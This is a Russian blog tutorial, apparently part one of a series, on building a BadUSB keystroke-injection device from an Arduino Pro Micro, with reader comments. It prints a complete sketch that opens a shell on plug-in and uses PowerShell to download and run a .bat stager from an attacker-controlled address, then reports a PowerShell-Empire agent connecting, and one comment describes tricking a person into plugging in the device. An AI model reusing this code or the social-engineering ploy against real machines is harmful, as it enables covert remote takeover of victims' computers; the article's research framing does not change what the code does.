Часть 1. Arduino

Если верить Википедии, BadUSB — класс хакерских атак, основанный на уязвимости USB устройств. Благодаря отсутствию защиты от перепрошивки в некоторых USB‑устройствах, злоумышленник может видоизменить или полностью заменить оригинальную прошивку и заставить устройство имитировать любое другое устройство. BadUSB предназначен для доставки и исполнения вредоносного кода. При этом я бы хотел уточнить, что BadUSB — это атака против USB стека компьютера, который по умолчанию слепо доверяет любому устройству (в том числе и зловредному).

Впервые понятие BadUSB было введено в августе 2014 года, исследователями организации Security Research Labs, Карстеном Нолом и Джейкобом Леллом, которые выступили с докладом «BadUSB — On Accessories that Turn Evil» на конференции BlackHat USA 2014. Данной уязвимости подвержены все устройства с незащищенными USB контроллерами на борту. При этом для успешного проведения данной атаки не требуется наличия особого ПО на компьютере «жертвы», а так же она работает под любыми операционными системами, поддерживающими USB‑HID устройства.

BadUSB — это целое семей­ство атак на USB‑порт, при которых под­клю­чаемое устрой­ство выда­ет себя за дру­гой девайс, нап­ример:

  • HID‑устрой­ство (кла­виату­ра или мыш­ка);

  • Ethernet — сетевая кар­та;

  • Mass storage (съем­ный накопи­тель).

В настоящей статье мы рассмотрим вариант с HID‑устройством. Это одна из нем­ногих физичес­ких атак, успех которой зависит от дей­ствий поль­зовате­ля.

Самый распространенный форм‑фактор такого устройства — USB‑флешка. Однако, учитывая ограниченные размеры самого устройства, оно может быть легко интегрировано в различные контексты, будь то веб‑камера или даже USB‑кабель (как, например, O.MG Cable). Выбор формы устройства определяется задачами, поскольку необходимо обеспечить оптимальное взаимодействие в конкретной ситуации.

Маленькое устройство, оснащенное клавиатурным контроллером, сразу после подключения способно генерировать произвольные нажатия клавиш. Эта способность заранее настроена на выполнение различных операций в операционной системе, чаще всего с использованием сочетаний горячих клавиш, таких как Win‑R или Alt‑F2.

Подготовка Arduino Pro Micro

Я думаю с вводной частью пора закончить и перейти к более практической стороне. В качестве основы для создания BadUSB устройства я взял плату Arduino Pro Micro на базе ATmega32U4. Она имеет приемлемую стоимость и сложностей с ее приобретением не возникает.

Arduino Pro Micro
Arduino Pro Micro

С корпусом под плату и маскировку под USB‑накопитель я не заморачивался, так как все описанные действия носят чисто исследовательский характер. Но справедливости ради стоит заметить, что поместить плату в корпус от накопителя задача не особо сложная, так как края Arduino, в области дополнительных контактов, можно немного отпилить без вреда для устройства, и вместо Type‑c припаять классический USB‑штекер.

Итак, с технической основой мы определились, следующим шагом необходимо скачать и установить Arduino IDE — интегрированная среда разработки для Windows, Linux и MacOS, предназначенная для создания и загрузки программ на Arduino‑совместимые платы. Скачать Arduino IDE можно по ссылке.

После установки и запуска Arduino IDE, откроется вот такое окно:

Стартовое окно Arduino IDE
Стартовое окно Arduino IDE

Подключаем плату Arduino к нашему компьютеру. В верхней части программы, в окошке выбираем подключенное устройство. В моем случае это Arduino Leonardo. Не переживайте, если Pro Micro не будет в списке, это происходит из‑за того, что этот микроконтроллер (я знаю, что многие не считают Arduino полноценным микроконтроллером — в отличие от PIC, STM, Atmel и прочих.) будет восприниматься системой как Arduino Leonardo.

Меню выбора устройства
Меню выбора устройства

Пишем скетч

Программирование микроконтроллеров Arduino осуществляется на языке программирования C++. Несмотря на то, что C++ часто воспринимается как сложный низкоуровневый язык, в мире Arduino он применяется в упрощенной форме. Этот язык программирования облегчает процесс разработки благодаря множеству функций, классов, методов и библиотек, которые делают работу с микроконтроллерами Arduino интуитивно понятной и доступной.

Сразу после открытия Arduino IDE в окне для написания кода автоматически создаются две функции: setup() и loop(). Код, написанный в функции setup(), исполняется сразу, после подачи питания на плату и при этом всего один раз. В свою очередь, функция loop() реагирует на подачу питания таким же образом, с той лишь разницей, что действия из этой функции будут выполняться постоянно, образуя бесконечный цикл, при этом с каждой итерацией код остается неизменным.

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:

}

Ниже перечислены основные элементы, которые мы будем использовать при написании скетча:

  • Keyboard.begin() — начало эмуляции клавиатуры

  • Keyboard.print() — вводит заданный текст;

  • Keyboard.println() — то же самое что и Keyboard.print(), но при этом автоматически происходит переход на новую строку;

  • Keyboard.press() — зажимает указанную клавишу;

  • Keyboard.release() — отпускает указанную клавишу;

  • Keyboard.releaseAll() — отпускает все клавиши;

  • delay() — задает период ожидания (между командами или для начала выполнения действия).

  • Keyboard.write(KEY_RETURN) — эмулирует нажатие клавиши «Enter» на виртуальной клавиатуре.

Те, кто немного знаком с программированием, понимают, что для избегания дублирования одинаковых частей кода следует прибегать к использованию функций. В случае написания скетча для Arduino, определение функции выглядит следующим образом:

void function_name(){
    ...
}

Теперь мы можем приступить к написанию скетча для проведения атаки. При написании мы будем следовать следующей логике:

  1. После подключения платы к ПК, будет эмулироваться нажатие клавиш Win+R, для вызова окна исполнения программ;

  2. В появившемся окне вводим команду: «cmd», для вызова командной строки;

  3. Используя командную строку, переходим на диск C:\, и там создаем папку с именем BadUSB;

  4. Закрываем командную строку;

  5. Используя Win+R запускаем Powershell, переходим в созданную ранее директорию: C:\BadUSB;

  6. Используя возможности Powershell загружаем на машину «жертвы» исполняемый вредоносный файл, запускаем его и закрываем окно;

Я вполне себе понимаю, что этот алгоритм можно сделать более коротким, добавить дополнительные действия, как то прописывание вредоноса в автозагрузку, сделать файл невидимым для пользователя и т. д. Но наша цель в данном случае — обучение созданию кода.

Приступим. Для того, чтобы плата выдавала себя за клавиатуру, в самом начале следует добавить библиотеку Keyboard.h. После чего добавляем ранее обозначенную функцию setup(), в которой прописываем остальные необходимые нам функции:

#include <Keyboard.h>
void setup(){
    Keyboard.begin(); //строка необходимая для начала эмуляции клавиатуры
    delay(2000);
    createFolder(); //функция создания папки
    getFiles(); //загрузка вредоноса
}
void loop(){}//данную функцию мы не используем, но без нее наш код работать не будет,
//т.к. void loop() является обязательной частью структуры скетча Arduino

Теперь необходимо написать обозначенные функции.

  1. Функция нажатия клавиш Win+R, которую мы будем вызывать в других функциях

void winPlusR() {
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(45);
    Keyboard.releaseAll();
    delay(100);
}
  1. Функция создания директории

void createFolder(){
    winPlusR();
    // запускаем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(500);
    Keyboard.println("cd C:/"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // создаём папку "BadUSB"
    Keyboard.println("mkdir Badusb"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
}
  1. Функция загрузки и запуска вредоносного файла.

void getFiles(){
    winPlusR();
    // открываем powershell
    Keyboard.println("powershell"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
    // переходим в папку Badusb
    Keyboard.println("cd C:/Badusb/"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
    // Загружаем зловред
    Keyboard.println("Invoke-WebRequest -Uri 'http://192.168.56.251:800/badusb.bat' -OutFile 'C:\\Badusb\\badusb.bat'");
    Keyboard.write(KEY_RETURN);
    delay(3000);  
    Keyboard.println("./badusb.bat"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
}

В итоге мы получили скетч, содержащий в себе следующий код:

#include <Keyboard.h>
void setup(){
    Keyboard.begin();
    delay(2000);
    createFolder();
    getFiles();
    //setUpFiles();
}
void loop(){}
void winPlusR() {
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(45);
    Keyboard.releaseAll();
    delay(100);
}

void createFolder(){
    winPlusR();
    // запусаем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(500);
    Keyboard.println("cd C:/"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // создаём папку "BadUSB"
    Keyboard.println("mkdir Badusb"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
}

void getFiles(){
    winPlusR();
    // открываем powershell
    Keyboard.println("powershell"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
    // переходим в папку Badusb
    Keyboard.println("cd C:/Badusb/"); 
    Keyboard.write(KEY_RETURN);
    delay(1000);
    // Загружаем зловред
    Keyboard.println("Invoke-WebRequest -Uri 'http://192.168.56.251:800/badusb.bat' -OutFile 'C:\\Badusb\\badusb.bat'");
    Keyboard.write(KEY_RETURN);
    delay(3000);  
    Keyboard.println("./badusb.bat"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(2000);
}

Запись скетча на устройство

Скетч написан, и мы готовы преступить к финальному этапу – записи скетча на плату. Дело это не сложное и состоит из нескольких шагов. Первым шагом необходимо сохранить скетч в отдельный файл, если вы это не сделали ранее. После чего я рекомендую проверить написанный код, для чего нажмите на кнопку «verify», в верхней части окна.

Проверка кода
Проверка кода

Если все правильно выполнено и при компиляции ошибок не возникнет, в нижней части Arduino IDE появится раздел Output, в котором будет информация об использованной памяти и уведомление о завершении компиляции.

Уведомление о завершении компиляции
Уведомление о завершении компиляции

Теперь у нас все готово к финальному шагу. Для загрузки скетча на Arduino необходимо нажать на кнопку «Upload».

Загрузка на устройство
Загрузка на устройство

На этом моменте нужно немного остановиться. Дело в том, что после загрузки скетча на устройство, оно перезапуститься и сразу начнет исполнение кода на компьютере. Поэтому будьте внимательны. Можно просто сменить раскладку клавиатуры на «Кириллическую», перед записью кода на Arduino. В этом случае все команды отработают в, открытом клавишами Win+R, окне без вреда для машины.

Полевые испытания

Для проведения данного эксперимента нам потребуются две машины. Первая из них — виртуальная машина с Kali Linux, которая будет выполнять функцию атакующего устройства. Вторая машина — это ноутбук с операционной системой Windows 10 Pro и установленным, лицензионным, антивирусом Kaspersky Total Security и Kaspersky Cloud Security, которая будет выступать в роли целевой системы. Для создания вредоносного программного обеспечения мы воспользовались инструментом PowerShell‑Empire и разработали стейджер с наименованием «badusb.bat». Также мы настроили прослушивание, ожидая установления соединения.

Powershell-empire
Powershell-empire

На машине злоумышленника был поднят сервер, ожидающий запрос на скачивание созданного ранее bat – файла.

После этого мы вставили подготовленное и настроенное атакующее устройство BadUSB в целевой компьютер. После завершения работы устройства, на диске C:\ появилась папка с названием «BadUSB». Внутри этой папки находился загруженный стейджер, который, как и предполагалось, исчез после своего выполнения. В консоли PowerShell‑Empire появилось уведомление о подключении нового агента, и выполненная команда «Whoami» подтвердила успешное подключение.

Подключение агента
Подключение агента

Здесь важно заметить, что в ходе первой попытки атаки антивирусное программное обеспечение перехватило выполнение вредоносного кода на этапе его запуска. Поэтому пришлось временно отключить антивирусную защиту. НО, антивирус ни как не препятствовал выполнению команд с устройства и вредонос был‑таки загружен. Это свидетельствует о том, что антивирус не всегда может обеспечить полную защиту от подобных атак. Важно также отметить, что вопросы, связанные с обфускацией вредоносных файлов и другими методами обхода антивирусных решений, выходят за рамки данной статьи.

Мы рассмотрели процесс создания и тестирования атаки с использованием устройства BadUSB, представляющего собой интересный инструмент для исследования кибербезопасности. Мы продемонстрировали, как такие атаки могут быть выполнены и внедрены в систему с использованием специализированных инструментов, таких как PowerShell‑Empire. Однако, хотелось бы подчеркнуть важность этичного использования таких методов и инструментов, а также несение ответственности за их использование в соответствии с законодательством.

В следующей части будет рассмотрено использование Flipper Zero как устройства для проведения атаки «BadUSB».

Комментарии (6)



  1. Serge78rus
    17.10.2023 10:42
    +1

    А зачем последовательно запускать две разные оболочки: "cmd", а потом "powershell"?

    В powershell нельзя создать каталог?


  1. kAIST
    17.10.2023 10:42
    +1

    Мне кажется, каждый второй, кто добирался на arduino до USB-HID, думал "о, это же как то по хакерски", а каждый десятый садится писать об этом статью.

    А на деле, этот вектор атаки как то применим? Если есть физический доступ к незапароленному компьютеру, то можно сделать все тоже самое и с клавиатуры. А если залоченный компьютер, то толку то?


    1. Squoworode
      17.10.2023 10:42

      Во-первых, зачастую такие устройства подбрасывают: юзер находит незнакомую флешку и незамедлительно втыкает её в разлоченный комп.

      Во-вторых, даже если подключать самому, наклоняться к клавиатуре - медленно и всем заметно.


  1. Moog_Prodigy
    17.10.2023 10:42

    Третий вариант, к тебе приходит чел и просит скинуть некоторые файлы. Даем ему одну флешку. С битыми файлами или вообще дохлую. У него это не выходит, делаем недовольный вид - даем ему заряженную флешку. Которая делает все что нам нужно, но файлов пользователь там тоже не находит. В третий раз идем со злой мордой лица и настоящей флешкой, копируем ему файлы и хрен что он кому расскажет о "своей некомпетентности".


  1. NutsUnderline
    17.10.2023 10:42

    не считают Arduino полноценным микроконтроллером — в отличие от PIC, STM, Atmel

    От малограмотности, в том числе автора этих строк. Arduino это софтовый фреймворк для большого числа разных микроконтроллеров в первую очередь Atmel (ныне Microchip), но так же STM, Expresiff и заканчивая довольно редкими